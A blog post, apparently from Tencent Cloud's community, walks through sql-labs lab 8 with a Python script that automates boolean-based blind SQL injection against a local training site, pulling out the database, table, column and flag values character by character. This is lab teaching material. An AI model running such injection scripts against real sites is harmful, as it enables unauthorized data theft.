前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sql-labs-less8|SQL注入,脚本注入

sql-labs-less8|SQL注入,脚本注入

作者头像
TenG
发布2020-10-28 17:46:49
1.1K0
发布2020-10-28 17:46:49
举报

前言:

此篇为sql-labs系列less-8,这一关使用脚本盲注,使用的sql语句跟第五关差不多,脚本写的比较烂,我也是第一次写,很基础,如果你也不会写的话可以参考一下。

正文:

本关如果注入语句执行成功页面就会显示You are in ……,如果注入语句没有被数据库执行页面无任何回显 请参考脚本:

import requests

url = "http://localhost/sql-labs/Less-8/?id=1'"
#url是自己页面的url,这里加上了?id=1'sql测试语句,写的时候不要忘了单引号

def get_dbname():
    db_name=''
    for i in range(1,9):
    #这个遍历是数据库名字的长度如果不够的话就一点一点猜测
        for j in range(32,127):
        #32~127是ascii值对应的字符
            payload = "and ascii(substr(database(),%d,1))=%d --+"%(i,j)
            #sql注入语句
            url1 = url + payload
            #获取url(原url+sql语句构造的url)
            res = requests.get(url1)
            #获取sql注入生成后的页面
            if "You are in..........." in res.text:
            #因为sql语句执行成功页面会显示You are in……,所以只需判断页面显示内容有You are in……即可
                db_name += chr(j)
                #获取到的字符写入dn_name方便输出
                print("数据库名称为:"+db_name)
get_dbname()

def get_table():
    table1_name=''
    table2_name=''
    table3_name=''
    table4_name=''
    for i in range(5):
    #因为数据库里面有多张表,所以需要再嵌套一个遍历,这个遍历所对应的是limit取值
        for j in range(6):
            for k in range(32,127):
                payload = " and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d--+"%(i,j,k)
                url2 = url + payload
                res = requests.get(url2)
                if "You are in..........." in res.text:
                    if i == 0:
                        table1_name += chr(k)
                        print("第一个表为:"+table1_name)
                    elif i == 1:
                        table2_name += chr(k)
                        print("第二个表为:"+table2_name)
                    elif i == 2:
                        table3_name += chr(k)
                        print("第三个表为:"+table3_name)
                    elif i == 3:
                        table4_name += chr(k)
                        print("第四个表为:"+table4_name)
                    else:
                        break
get_table()
                    
def get_columns():
    column1=''
    column2=''
    column3=''
    for i in range(3):
        for k in range(1,9):
            for j in range(32,127):
                payload = "and ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d--+"%(i,k,j)
                url3 = url + payload
                res = requests.get(url3)
                if "You are in..........." in res.text:
                    if i == 0:
                        column1 += chr(j)
                        print("第一个字段为->"+column1)
                    elif i == 1:
                        column2 += chr(j)
                        print("第二个字段为->"+column2)
                    elif i == 2:
                        column3 += chr(j)
                        print("第三个字段为->"+column3)
                    else:
                        break
get_columns()

def get_flag():
    flag=''
    for i in range(30):
        for k in range(32,127):
            payload = "and ascii(substr((select flag from flag),%d,1))=%d--+"%(i,k)
            url4 = url + payload
            res = requests.get(url4)
            if "You are in..........." in res.text:
                flag += chr(k)
                print("flag为->"+flag)
get_flag()

详细的说明都在注释里了,sql语句使用的函数就不在讲了,脚本运行图:

在这里插入图片描述
在这里插入图片描述

需要注意的是,脚本运行非常慢(但是要比手动注入好很多),如果长时间依然没有跑出来结果就说明脚本出了问题,认真排查一下,感谢支持。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-09-23 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言:
  • 正文:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档